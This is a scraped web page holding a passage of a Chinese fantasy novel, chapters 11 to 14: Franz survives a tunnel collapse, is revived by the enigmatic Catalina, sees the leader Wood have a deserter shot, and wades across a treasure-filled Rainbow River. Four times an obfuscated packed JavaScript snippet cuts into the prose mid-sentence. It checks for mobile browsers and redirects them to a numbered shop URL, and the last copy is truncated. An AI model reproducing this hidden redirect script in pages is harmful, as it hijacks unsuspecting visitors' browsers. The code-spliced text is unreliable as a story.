“别再乱动了！” “快住手！” 众人发现不对，想要将小汤普森拽开，但一声巨响如闷雷乍起，石壁上的砖石突然炸开，碎石如雨纷纷落下，破损的地方随之越扩越大！ 不对，不对！ “快跑，这里要塌了！” 雷东多一声惊叫，下一瞬砖土混合着碎石潮水喷涌而出，头顶的墙壁也开始大片大片地坍塌！ “走！”弗兰茨疾声呵道，“往前跑，不要往后！” 后方不断传来的隆隆声、急速喘息声、惊慌失措的呼喊声在密道里乱成一团。 众人像一堆从盘子里倾倒而出的瓜果，跌跌撞撞向前滚去。 混乱间，不停有人摔倒，弗兰茨经过时托了身边人一把，没跑两步却被另一人绊倒在地。 他狼狈地打了个滚，右脚脚踝狠狠扭了一下，他没来得及管，手臂往前一撑又咬牙爬了起来。 快一点、再快一点！ 他强忍着脚踝处传来的剧痛，一瘸一拐地往前冲，不顾头顶不断落下碎石，扬起的尘土糊了一脸。 身边忽然传来惊叫，他来不及分辨，下意识顺手一扶，却没料想手臂被人恶狠狠地往地上一拽，紧接着，小汤普森的咒骂声乍响：“别挡道！” 这个蠢货！ 哪怕是平时极注意礼仪和风度的弗兰茨，在此刻遇到这样的意外也忍不住暗骂一声，但危机关头，活下去才是重点。 他挣扎着想要起身，一块碎石却正正落在他的头上。 意外突至，弗兰茨闷哼一声，软倒在地，意识也沉入黑暗之中。 . “今天就要公布前往行赏的使团成员名单了，你觉得你会入选吗？罗兰先生，看在往日同窗的份上，说话不必再弯弯绕绕了吧。” “……悉听尊便，殿下。说实在的，我并不清楚我是否会入选。” “你这不还是弯弯绕绕？” “这是我的心里话。” …… “你怎么会入选此次行赏？父亲，就算要从我们家选一个人，怎么也该是我吧？” “别说这样的话，我的孩子，如果陛下需要一个罗兰家的人出发，无论是你还是你弟弟，我会觉得同样的荣幸；当然，如果是你，我会更高兴的。噢，对了好好表现，不要丢脸，弗兰茨。” …… “殿下，恕我直言，在您问出我那个问题的时候，您是否就已经知道我的名字写在了名单上？” “……是的，但我并不能决定使团成员的名单。放宽心弗兰茨，你的父亲一直偏爱你的兄长，这次行赏定能让他对你改观；更何况，身为驭龙女士的后人，你总是有些优势的。” …… 混乱的声音在脑海里此起彼伏，弗兰茨痛苦地蹙眉，意识从各种对话里挣脱出来，停留在临行前的一个午后。 屋外阳光明媚，但长时间呆在储物室里仍会感觉阴凉。 弗兰茨不顾地上一层薄薄的灰尘盘腿而坐，手里握着的正是驭龙女士留下来的手札。被选为行赏的使团成员后，他撬开储物室的锁，不报希望地在母亲留下来的物品中找到了它。 很显然，自从成为使团成员，他的焦虑一直多于欣喜。尽管在众人眼中，行赏一向是让人引以为豪的美差，往年被选中的人中，甚至大部分成员都是通过某种心照不宣的方法才被选上的。 可是罗兰家，既没有足够的钱财，又没有很高的地位，仅仅只顶着一个“驭龙女士后人”的虚名。 在一众勋贵中，罗兰家并不显赫，所以即使他父亲曾多方交际，也未能给大儿子搏来一个名额。 然而，就在众多家族为名额挤得头破血流之际，一个珍贵的名额却轻飘飘的落到了弗兰茨·罗兰头上。 许多人都为此艳羡，可弗兰茨却显得忧心忡忡。 谨慎过度，甚至可以说是贪生怕死。 有人这样评价他。 但弗兰茨深知，从来没有白来的好事，他能成为使团成员，这背后一定要付出什么。 这让弗兰茨深思，也让他生出一丝难以言明的惧怕。 我需要知道得再多一点。 弗兰茨哗哗翻动书页，焦躁不减。 遗憾的是，手札里面既没有记载驭龙女士是如何驾驭龙的传奇故事，也没有讲述制服龙保全性命的方法。 它更像是一本普通的随记，上面布满的涂鸦和混乱字符比有序的语句还要多。 太阳很快沉没到无尽的黑暗中，储物室里也一片昏暗。 弗兰茨疲惫地靠在墙上，陷入茫然。 他未能从手札里找到什么有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991980|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效信息，上面只有一些关于陌生人的语焉不详的爱好，这大概也是母亲离家时没有带走的原因。 等等。 陌生人的，语焉不详的，爱好。 是什么让他觉得这些“爱好”是陌生“人”的？ 弗兰茨心绪起伏不定，他顾不上去外面提来一盏油灯，急匆匆地翻动起手札。 ——她喜欢松香的味道，这让她睡得很香。 ——她丢给我一枚鳞片，说是她不需要的。她总是这样，正话反说，我会好好收起来的。 这是什么意思？ “她”是谁？ 如果这里的“她”，指的并非一个人类，而是一条红龙呢？ 弗兰茨的心扑通扑通地跳了起来，如果这个匪夷所思的猜测是正确的，那么储物室里会不会也堆放着什么看似不起眼，实则很关键的物品？ 夜是沉寂的乌蓝色，但弗兰茨的心火热。 在扬起的灰尘中，他找到一个生了锈的铁盒，用匕首撬开，里面正静静地躺着一枚赤红的鳞片，像一簇小小的燃烧着的火苗。 这是龙的鳞片吗？ 弗兰茨犹豫地伸出手，轻轻地触碰了一下，竟是温热的。 这么久的光阴流淌而过，也未能熄灭它的温度。 这就是红龙的鳞片。 这个大胆的猜测竟然是对的。 弗兰茨站起身子，颤抖着将储物室锁上，又把手札和鳞片带回房间藏好，没有告诉任何一个人。 而次日，他便驾着马车驶在了前往购买香料的路上。 出发的物品准备好了，有相关经验的人也不能错过。 在行赏之前国王为使者们举办的宴会上，弗兰茨见到了历代的使团成员，并有机会借此向他们询问经验。 “这并没有什么难处，你只要心怀勇敢就好了。”瞎了一只眼睛的人醉醺醺地吹嘘。 “清醒，保持清醒，明白吗？”也有人含含糊糊，好像要保持神秘。 宴会上的美酒总是让人沉醉，想到接下来要面对的事，弗兰茨索性放纵自己大喝一场。 头痛欲裂间，他迷迷糊糊听到有人对他说：“你醒了。” 啊，对，我醒了，我是该醒了。 弗兰茨捂着头呻丨丨吟，试图从宿醉里清醒过来，他睁开眼睛—— 四周一片黑茫。 “你醒了。”那人又道。 冷静的，毫无多余情感的语调，这是卡塔利娜的声音。 “卡塔利娜。” 弗兰茨轻声道，于黑暗中向卡塔利娜声音传来的地方艰难地转头。 “卡塔利娜，”他看不清楚，于是又低低地呼喊，“你在哪儿？我，我们这是在哪儿？” 不等卡塔利娜回答，弗兰茨很快就回想起刚刚发生的事——小汤普森神经发作，引得密道塌陷。 “那个蠢货，”弗兰茨低声喃喃，继而又问道，“我们现在是被埋在了密道下面吗？你还好吗卡塔利娜，能动得了吗？” 他挣扎着想要坐起来，剧烈的疼痛却让他重重地倒向凹凸不平的地面，后背被一块斜上凸起的砖石顶住，弗兰茨痛呼一声，额头上有温热的液体流淌。 过了一会儿，弗兰茨才反应过来，那是他流出来的血。 我受伤了，而且伤得不轻。 直到这个念头生起，弗兰茨才意识到，他的四肢、脖颈、后脑，皆裹挟在剧痛的洪水之中，几乎动弹不得。 “——我，”弗兰茨的语速不由得急促起来，“卡塔利娜，我——” “你要死了。”卡塔利娜回答道。 12. 第 12 章 卡塔利娜的声音和她的眼神一样，平直，没有温度，没有情绪起伏。 这只是一个简单普通的陈述句。 因此，当弗兰茨听到这句话的时候他没有在第一时间反应过来，也不太能意识到这是什么意思。 于是卡塔利娜颇有耐心地又说了一次：“你要死了。” 谁？ 谁要死了？ 弗兰茨眨眨眼睛，后知后觉意识到卡塔利娜是在对他说话。 噢，我要死了。 原来是我要死了。 我要死了吗？弗兰茨先是质疑，毕竟他的四肢还很好地连接着躯体，头也按在脖子上。 然后他勉力抬起一只手，在肚子上摸了摸，还好只是披风破了，并没有什么柔软的东西流出来。 弗兰茨松了一口气，浅浅地笑了一下，随即他便感觉到大股大股的热流从鼻腔里喷涌而出。 啊，不太妙。 他的笑容凝固住了，心里还想再挣扎一下，可是持续的剧烈疼痛和不断流失的力气告诉他——你要死了。 她说的是真的。 对行赏一行不好的预感在此刻终于应验。 可他唯一没有料到的是，发生的居然这么糟糕的事。 弗兰茨躺在原地，不得不接受命运的洪流将他冲倒。 我要做点什么吗？ 我应该做点什么呢？ 哀嚎两句，还是说点遗言？ 他什么都没有做，似乎在很平静地等待既定结局的到来。 怎么是这样的表现？ 黑暗中，卡塔利娜皱起了眉毛。 不对不对。 虽然弗兰茨与那个蠢货性情不同，但他们总归是人类。 那个蠢货在临死前的哀嚎与咒骂连绵不绝，直到最后一刻嘴里还含着半个音调。 弗兰茨太平静了。 他仿佛对这样的结局接受良好，就像此前他已经被迫接受了许多不情愿但无法抵抗的事情，所以对死亡也不敏感了。 我不相信。 卡塔利娜浅褐色的瞳孔收缩得极其尖细，因此她能十分清晰地观察弗兰茨的状态。 血肉模糊的，有气无力的。 他的肚子正一下一下很慢很缓地起伏，身上的血倒是不怎么流了，可气好像也没多少了。 他的脸很脏，头发里都是碎石和尘上，灰扑扑的，不好看。 但他的表情平静，确实是一副坦然接受的模样。 我不满意。 卡塔利娜难得生起些怒火，我不满意，她的瞳孔收缩到极致，两根朝天竖起的羊角辫就像两簇熊熊燃烧的火焰。 你怎么能如此平静？ 我还没有得到我想要的，你怎么能在未经我首肯的前提下就退出游戏？ 卡塔利娜非常地不满，但她还是难得有耐心地问了一句：“你没有什么想说的吗？” “……啊，对，你还在这里。” 弗兰茨的声音像羽毛一样轻盈，片刻，他像是想起什么似的，头侧向声源处，微阖的眼睛也睁开了。 我要死了。 他想，他没有什么要留给处在遥远的王国大陆上的人们，他对于身死异地也并不排斥，但是，但是—— 还有没有什么是我能做的？ 此次行赏疑点重重，可惜他并没有机会明白这到底是“行赏”还是“进贡”，也没有机会知道自己为何被选为使团成员，“贝莉的金杯”又怎么会作为赏赐。 他也没有办法活下去了，但是卡塔利娜可以。 她的声音一如既往的平直，说明她受得伤不重；她能判断自己的状态，也代表她还有活动的空间和能力，从坍塌的密道中脱身并不算困难。 “你还要去行赏吗？” 他问道，话题跳跃得很快，可卡塔利娜的反应却是不意外。 “我要去。”她说。 她还是要去。 她真的很古怪，但弗兰茨已无力深思，他没有多余的时间和她解释此次行赏不对劲的地方，也没有剩余的力气去阻拦她。 但不论如何，她都是帮助过自己的人，既然如此—— 他又开始挣扎，右手在胸前摸索，接着向颈间试探。 “带上这个吧。”他的声音变得很微弱，力气也接近于无。 他似乎找不到他要找的东西，也有可能是没有力气了，他叫她：“带上这个走吧，这能帮到你。” 来了。 卡塔利娜静静地笑了起来，她轻松地踩过石块，走到弗兰茨面前。 嘎吱嘎吱的声音由远及近，如果在平常，弗兰茨一定能意识到卡塔利娜的行动非常自如，但他现在只能看见一个模糊的影子慢慢放大。 “这是什么？” 她扯开他的领口，粗糙的毛手套蹭过脖颈处的皮肤，抓住了一个圆圆的项链盒。 “能让它睡得安稳的松香。”弗兰茨回答。 他再也没有力气，逐渐陷入了长久的睡梦中。 . 只是松香粉。 卡塔利娜握着那枚小小的圆圆的项链盒，极好的夜视能力甚至能让她看清楚刻在盒面上淡紫色的花纹。 半晌，她将那枚项链盒塞回弗兰茨胸前，继而看向他陷入昏迷中的脸。 弗兰茨灰蓝色的眼睛被雾蒙上了，呼吸微弱，唇色惨淡，非常狼狈也不好看。 看着真可怜。 卡塔利娜面无表情，她伸出一只手，隔着手套擦去了弗兰茨脸上的灰尘和血垢。 她的动作并不轻柔，不是那种情人间带有怜惜意味的拭去，也不是友人般关怀的抹掉，她的动作算得上粗鲁，因此灰尘和血垢很容易就被擦掉了，只有浅红色的印子还留在弗兰茨的脸上。 这样就还算好看。 尽管卡塔利娜觉得还差点意思，但她又不是什么讲究的性格。她脱掉一只手套，食指指尖轻松地将掌心划开了一道口子，滚烫的鲜血一下子涌了出来。 我的游戏可不能轻易退出。 她居高临下地凝视着弗兰茨，另一只手掐住他的下颌，迫使他张开嘴，将血滴入他口中。 . 很热，也很难受。 迷蒙中，弗兰茨感觉自己被提着腰倒吊了起来，四肢则像个无助的钟摆左摇右晃。 死后的世界也这么痛苦么？ 弗兰茨绝望地呻丨丨吟了两下，随即一个非常冷淡的声音从上方传来：“你醒了。” 是啊，我醒了。 我来到死后的世界了，你准备要带我去往哪里呢？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991981|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弗兰茨迷茫地睁开眼，发现自己被什么人以一种简单粗暴的方式扛在肩上，那人的肩骨坚硬，此时正毫不留情地顶在他的肚子上。 好难受。 弗兰茨挣扎了两下，下一瞬他就被人放到了地上。 弗兰茨惊讶地喘了两口气，回头一看，发现刚刚扛着他的人是卡塔利娜。 “我没死？”弗兰茨坐了起来，问道。 “我骗你的。” 她话说的直接，像是在陈述今天天气晴朗一样轻松。 逆着光，卡塔利娜的表情看得并不真切，但从她刚刚将他放到地上没有让他摔得很疼的力道来看，她的心情似乎不错。 “……你骗我的？你骗我要死了？”他问道。 “对。”卡塔利娜回答得毫不犹豫。 弗兰茨无奈地轻笑了起来，他摇摇头，抹掉了眼角一层薄薄的水汽。 他不知道说什么好，只是笑，笑着笑着，声音从无到有，渐渐地变大了，与树叶震动的簌簌声和在了一起。 他用一种不太讲究的姿态在地上坐了一会儿，才慢慢地爬起来。环顾四周，弗兰茨发现他们正站在一片山毛榉树下，薄薄的雪从后方堆积到山顶。 很显然，他们已经来到山的另一面了。 与他们来时的那一面不同，这一边阳光热情明媚，连风都带着怡人的温度，山雀在枝头跳动，偶尔抖落几朵小小的柔荑花。 这是一个十分美好的春天。 弗兰茨舒展了一下身体，看向卡塔利娜，阳光下，她浅褐色的瞳孔有着一般琥珀的光泽。 “我们接下来去哪儿？”他问道。 “去龙穴。”卡塔利娜接得很快。 “好吧，我们的目的确实是行赏，”弗兰茨诧异，随后无奈地笑了，“但我真的很疑惑，为什么你这么坚持地加入呢？可千万别说为了荣誉。” 闻言，已经向前走了两步的卡塔利娜转过身来，她看着他变得健康红润的脸，飞快地笑了一下。 然后她又恢复了面无表情的状态，说道：“因为好玩。” 因为好玩。 弗兰茨看着她继续向前走的背影，觉得她真是非常奇怪。 “我骗你的”和“因为好玩”，这两句就不像是真话，但听着听着又没有什么敷衍的意味。 他真是想不明白，可双腿已经向前迈动起来。 “你到底是怎么在携带了一个人的情况下从拇塌的密道里出来的？”弗兰茨很好奇，然后又想到了另一个问题，“还有其他人，你出来的时候有见到其他人吗？” “没有。” “好吧。”弗兰茨轻轻地叹了一口气。 两人无言地走了一段路，氛围却并不沉重。 . 乘着春风，穿过这片山毛榉树林，他们行走到一个相对平缓的山坡上，这样的行走距离虽长，却并不让人感觉疲劳。 只不过没过多久，前方便传来了一片熟悉的喧嚷声。 弗兰茨仔细一看，那正是从密道里逃出来的人。 使团成员有伍德，罗斯和雷东多，格兰德城人只剩下以亨特为首的五人。 他们争吵得似乎很厉害，以至于在卡塔利娜和弗兰茨靠近的脚步声响起之前，都没有任何一个人觉察到他们的到来。 13. 第 13 章 “感谢女神，你们还活着！” 率先发现他们的是佩斯，她捂着脸长长叹地了一口气，然后转向了伍德：“我真是不明白，龙牙杀了我们两个人，而那个汤森一下子竟然害死了这么多人。我原本痛恨着红龙，痛恨它在行赏路上设下的杀机，可是现在——” 她摇了摇头，既是不解又是痛苦：“为什么有这么多莫名的纷争，为什么残害人类最多的总是人类？伍德团长，我并不想在这种时刻指责你，但是，但是，这一路上你对汤普森不必要的袒护实在太多，假如一开始你能公正一点，局面都不会变成现在这个样子。” 伍德深吸几口气，没有反驳，只在原地来回走了几下。 他不是那种轻易让旁人评价自己的人，可小汤普森导致一行人死伤惨重，他自然理亏不少。 “幸存者都在这里了吗？”弗兰茨问道。 “几乎都在这儿了，”罗斯沉重地叹了一口气，“有些人伤势过重，我们把他挖出来后很快就不行了。我们找了很久，没有找到其他人，没想到你们也还活着。” “女神庇佑，”亨特低头做了一个虔诚的手势，接着提出一个其他人都非常关注的问题，“现在这么少人，我们还要去行赏吗？” 话落，她身后的几个格兰德城人流露出一丝不情愿的神态。 很显然，大家都想荣誉加身，但前提是好好活着。 就算要牺牲，哪怕是死于龙牙之手，也不想像刚刚那样被一个莽撞的蠢货害死。 “当然了！” 伍德转过身来，脸上闪过一丝焦躁。 他的说辞显然还没有来得及编造好，但紧迫的现实逼得他开口：“我知道，我知道，那是一个蠢货，那个蠢货会做出这样的事情当然也有我的责任。但是，诸位，请为自己细细斟酌，多多考量，我们已经行至此地，荣誉也都唾手可得了，真的就要这样放弃吗？且不说我，就想想你们自己——佩斯，你要你弟弟白白牺牲吗？” 见到佩斯沉默着撇开头，他继续谆谆善诱：“各位格兰德城人，我要为之前的不够尊重道歉，回到王国大陆后，我定会向陛下阐述你们的英勇无畏，恳请他也让你们获得使团的同等尊荣。我们需要你们，彩虹河就在前方，而龙穴也在不远处显现了隐秘的轮廓。坚持下去吧，后退可不是拜里科斯人的美德。” 温和的语调，难得的尊重，这让格兰德城人沉默下来，他们对视几眼，似乎已经被伍德说动完成此次的行赏。 可是，一个格兰德城男青年突然后退了两步，大声地嚷嚷起来。 “我要退出，我不干了，去你的荣耀，我受够了！你说你尊重我们？吃屎去吧，你只是需要我们干活才装模作样地说那番话！”他把行囊和武器往地上一摔，瞪了伍德一眼就要往回走，“你这个伪君子！自大狂！十足的混蛋！你要人给你做事，又生怕别人受到的关注比你多，你要人吹捧，可造成的恶果不知道害死了多少人！ “你难道不会觉得羞耻吗？我实在不明白，陛下怎么会选你这种人做团长？！和你这样的人比起来，红龙都算得上是拜里科斯的挚友。我不会和你呆在一起了，和你呆得越久，死亡就离得越近！” “沃利斯！”听到青年的话从愤懑渐渐偏移到危险的边缘，亨特急急地打断了。 自知失言，沃利斯也站在了原地，但他的态度仍十分坚决：“我很抱歉，伍德团长。恕我无能，无法完成行赏。祝您接下来一路好运，我要回家了。” 被肆无忌惮地大骂一场，伍德勉强和煦的脸色再也维持不下去了。 他忍了半天，才憋出一句话来，内容倒是让人诧异：“好吧，沃利斯，年轻人的意志总是和他们的情感一样多变。你走吧，拜里科斯的荣誉从此与你无关。” 所有人都被这突变的场面震在原地，只有沃利斯向伍德微微一颔首，头也不回地走了。 “……他走了。”另一个格兰德城人喃喃，她似有所意动，不由自主地朝着沃利斯离开的方向走了两步。 “——不！” 同一时间，罗斯余光一闪，猛地上前，将抬起手的伍德扑倒在地。 她刚想松一口气，一道尖利的啸声却在头顶响起。 什么？！ 罗斯急忙仰头去看，只见一支长箭破空而过，在所有人都未反应过来之际直指沃利斯后心，一箭穿胸！ 砰！ 沃利斯“嗬嗬”了两声，直挺挺地倒在了地上。 “不……” 罗斯难以置信，她转过头，只见雷东多拉弓搭箭，仿佛随时准备着射向下一个准备离开的人。 “哇哦，好了，好了。”伍德慢吞吞地从地上爬了起来。 他先是弹掉粘在身上的草屑，再拍拍雷东多的肩膀：“冷静点，嗯？雷东多，你做得很好，不过现在你可以把箭放下了。” 直到这时，雷东多才慢慢收起弓箭，他微垂着头，似乎想要避开众人落在他身上的目光。 伍德则得意洋洋地环视一周，观赏着众人各异的表情：“别太紧张，诸位。还有谁想回家的？我可不想我们当中又有谁要离开——没有！很好，没有的话就出发吧。” 小汤普森是个蠢货。 伍德则是个不折不扣的疯子。 弗兰茨看着伍德走在最前方的背影，一股恶心的感觉油然而生。 他绝对不会只去行赏！ 弗兰茨心里有一种强烈的预感，伍德他一定还要做出什么惊人的事来。 . 春天的天气不总是如意，它多变，时晴时雨，让人沉郁。 众人穿过突如其来的雨幕，越过一个绿意盎然的山坡，在傍晚即将到来的时候，他们终于来到一条小河旁。 这就是彩虹河吗？ 看到这条河的人，脑海里几乎都冒出了这个想法。 河水呈静谧的淡绿色，并不湍急。 微波荡漾，连带着岸边落下的投影也层层叠叠地漂了起来。 这条河，美是美的，但这样的美，也不过是在城外度假时就能遇见的。 算不上稀奇，也配不上“彩虹河”的名字。 但现在没有人会好奇地发问，只是沉默地等伍德发话。 “好了好了，放轻松一点儿，好吗？”伍德向众人耸耸肩，随后站在河边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991982|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观察片刻，“嗯，这看着就是条普通的小河，不过，以防万一——” 他转向弗兰茨，微笑道：“亲爱的罗兰先生，你可有什么高见？身为驭龙女士的后人，帮助我们躲避龙牙，又开启了无雪密道，对于彩虹河，你一定有不少见解吧？” 弗兰茨面若冰霜：“我对此并不清楚。” “真遗憾。” 伍德捡起一块石子，随意地扔向了水面，“咚”地一声响，石子很快就沉入了水底。 “水不深，为了加快进程，淌水而过吧。”他就这样做出了决定。 . 从杀死沃利斯以儆效尤后，伍德说话时的语调和情态显得格外轻松。 见其他人都没有反对，他点点头，走到河边。 傍晚来的很快，山脉遮蔽了大半个太阳，剩余的金光仍不知疲倦地燃烧。 恰好，在伍德即将迈进水中的那一瞬，夕阳的余晖如喷发的火山，毫无保留地洒进了河中。 神奇的一幕就在此刻发生。 光的火种点燃了平静的水面，于是波涛渐起，虹光四溢。 整条河流像被赋予了生命一般来回涌动，金光同时向河的上游和下游扫过，哗哗水声中，河水渐渐染上了彩虹的颜色，流光溢彩，绚烂夺目。 这就是彩虹河。 众人不由得上前观望，河水流动，两岸的影子落不到水面上，水底却是清晰可见。 没有游鱼，也没有摇晃的水草，躺在水底的只有浅浅一层珍宝，金杯银器、珍珠宝石，它们在虹光的照射下仍闪耀着夺目的光芒。 真美啊—— 只要是见到此景的人都会由衷赞叹。 它给每一个人带来的直观诱惑和震撼，让他们忘记了烦恼和忧愁，忘记了虚无缥缈的称赞，只想踏进水里捞起一把细细抚摸。 “我想，来到这里的诸位都拥有一种资格，”伍德慢吞吞地开口，眼睛仍盯着河底，“这也算是我们的酬劳。快点渡河吧，辛苦了这么久，我也会忽略掉你们偶尔的小动作。” “你就这样过去？” 卡塔利娜突然开口了，这让原本陷入痴迷的弗兰茨清醒过来。 他知道，她不是轻易开口说话的人。相应的是，她每一次与旁人对话，都会使局面产生巨大的变化。 如果只是简单的过河，她为什么要主动向伍德说话？ 弗兰茨蹙眉看向卡塔利娜，卡塔利娜回以面无表情。 而伍德犹然不觉有什么不对的地方，他的一只脚已经踏进了河水中，一只手俨然已经伸向水底：“当然了，我们为什么不渡河呢？” 见伍德已经下水行走，其他人对视几眼，也纷纷跳进河水之中，慢慢前进。 一时间，岸上只剩下卡塔利娜和弗兰茨两人。 “你不渡河吗？”卡塔利娜语调平缓地问。 弗兰茨并没有回答这个问题：“卡塔利娜，你是不是知道了什么？不，你一定是知道什么。这条河有不对劲的地方。” “是吗？”卡塔利娜反问。 她对弗兰茨微微一笑，不等他回答便转过了身，一脚踏入彩虹河中。 14. 第 14 章 “你……” 见卡塔利娜走进河中，弗兰茨犹疑片刻也迈了进去。 水很凉，水不算深，浅的地方才没过小腿，最深也才到人的腰部，河水似乎也没有什么异常的地方。 但弗兰茨心中仍持有某种怀疑，他赶上了卡塔利娜，沉默片刻，才问道：“卡塔利娜，我知道，你不是会问多余问题的人。所以，为什么——” “你觉得你很了解我？”卡塔利娜侧过头，盯着弗兰茨的眼睛反问道。 这是什么问题？ 弗兰茨被噎了一下，思维也混乱了一瞬，这要他怎么回答？ 回答“是”，既自大又显得暧昧；回答“不是”，对话也没有办法继续下去了。 “至少，在场的人中，我算是了解的那一个，”他硬着头皮，将已经发生过的事情细细分析，“你说你要做向导，于是你就成为了向导，你提出质疑，你将我们带到了无雪密道。无论你说什么，无论你做什么，事情都会像你说的，或者是往你想的方向发展。” “我说你要死了。” “是，但你救了我不是吗？所以你才说‘我骗你的’。” 弗兰茨知道她在反驳，知道她的意思是：我说你要死了，但你现在没死，这说明了事情并非向总向她的意志发展。 “我救了你，我有吗？” “我不是傻瓜，”他看着她，“我知道我当时的身体情况，我意识模糊，周身疼痛，几乎不能移动半分，即使情况没有危机到濒死的程度，可我也算得上重伤在身。但现在——” 他向她微微摊开双臂：“我能走能跳，离开密道后，我甚至可以毫不顾忌地走这么大一段路。就算我当时没有反应过来，现在也该意识到了——对，还有密道。我是被你扛出密道的，不是吗？可不要和我争辩说一个重伤的人也可以靠自己爬出坍塌的密道。” 卡塔利娜不说话了，她直直地盯着弗兰茨的眼睛，眼里流露出一丝不满和懊恼，但她似乎并不生气，只是定定地说道：“你是很了解我。你一直在关注我。” 前一句话是肯定，后一句话则是笃定。 它不像疑问句那般带着试探，而带有一种“即使我的注意力没有一直在你身上，但我也知道你一直在看着我”的意味。 很自信，却也是事实。 弗兰茨抿住了嘴，他实在想不明白到底是哪里出了问题才让他生出一种局促的感觉。 很奇怪，明明他举例分析，明明他已经证实卡塔利娜的言行总能影响事件的发展。但是为什么，为什么话题会滑到了这里，滑到了“他很关注卡塔利娜”这件事情上。 这个话题听着好像很亲密很暧昧，让他有些不知所措，想要远离。 他只好强行转移话题：“我的意思，我的意思是……我觉得，我的意思是——卡塔利娜，你为什么要加入这次行赏？你到底是谁？” 我到底是谁？ 卡塔利娜看着弗兰茨灰蓝色的眼睛，第一次生出了提前游戏结局的念头。 “我到底是谁？”她低声重复着弗兰茨的问题，看着他下意识前倾的身体，因为迫切想要知道答案略带严肃的表情。 希望你真的能够承受得住这个答案，卡塔利娜心想，想到弗兰茨得到答案后的表情，她也不由得亢奋了起来：“我是——” “——嘶，怎么越陷越深了？” 身后突然有人发出惊呼，弗兰茨下意识回头看了一眼。 时机被打断，卡塔利娜也将答案收了回去。 还是再忍忍吧，她想。 她看着弗兰茨停下来的动作，时间不对，地点也不对，太过仓促，如果现在告诉弗兰茨答案，她就没有办法很好地欣赏他的表情了，得不偿失。 所以卡塔利娜转过了头，继续向前走去。 . 呼救的人是雷东多。 涉水时，他是跟随着伍德先行出发的。水底并没有什么淤泥，也没有缠足的水草，可他走起来却意外的吃力，仿佛有某种沉重的东西缠着他往水底拖。 起先，他并没有选择呼救，一方面他觉得不过是累了点儿，没有必要大惊小怪。另一面他也知道，不久前他在伍德暗示下射杀了沃利斯，这会导致他被其他人警惕，甚至孤立，即使呼救，恐怕也不会有人来帮忙。 但这实在太沉重了。 不仅是长途跋涉带来身体上的疲劳，不仅是在河水中行走的艰难，雷东多难以控制自己不去反复回想沃利斯被射杀时的场景。 可他越是回想，他就越是恐惧，越是开始怀疑自己选择跟随伍德是否是一个错误，甚至开始质疑自我。 他无暇关注旁人，就连水底的珍宝都无法吸引他的注意力了。 他行走的速度逐渐慢了下来，身侧不断有人超越他，当他终于反应过来时，他的右脚已经深陷珠宝之下，很难靠自己的力量拔出来了。 “他陷进去了。”雷东多听到有一个格兰德城人和她身边的人这样说道，但是没有人上前来帮忙。 他只能很惊慌地低头挣扎，内心深处沉重的情绪几乎将他淹没。 情况还不算太坏，可他近乎绝望。 直到这时有一只手托住了他的手臂，接着是另一只。 雷东多惊讶地抬起头，罗斯与亨特一人一边托住他的手臂将他拽了出来，再向前看去，伍德正弯下身子，从水中捞出一只黄金与宝石打造而成的手镯。 经过河水的洗涤，在夕阳灿烂的余晖中，那只手镯闪闪发光，十分美丽。 见雷东多脱离了险境，弗兰茨转回了身子，一抬头，卡塔利娜已经向前走出一段距离。 他回想起刚刚的场景，卡塔利娜正准备说出回答，对话却被雷东多的呼救打断了。 所以她的答案是什么？ 她到底是谁？ 弗兰茨迫不及待想要知道，连忙追了上去。 只是河床上铺满了闪闪发光的珠宝，既光芒耀眼，又不便于行走，弗兰茨的脚步渐渐慢了下来，他尽量使自己不要滑倒或者不要像雷东多一样陷进去。 不被珠宝晃花眼和保持平衡几乎分掉他大部分注意力，弗兰茨没有余力赶上卡塔利娜，他只能和她保持着一段距离，小心翼翼地行走。 所以，我刚才为什么能只顾着和她说话还不滑倒呢？ 弗兰茨看着卡塔利娜轻松的背影，他想，这里一定有什么不对劲的地方。 . 彩虹河并不算宽敞，但淌水渡河却似乎格外漫长。 靠近岸边时弗兰茨已经是气喘吁吁，他撑着膝盖缓了一会儿，正要一脚迈上岸，卡塔利娜的声音却在头顶响起。 “你很累。”她站在岸上打量着他，语气倒算得上平缓。 “嗯，还好吧。”弗兰茨走上岸，掏出手帕擦了擦汗，这才注意到只有卡塔利娜和他来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 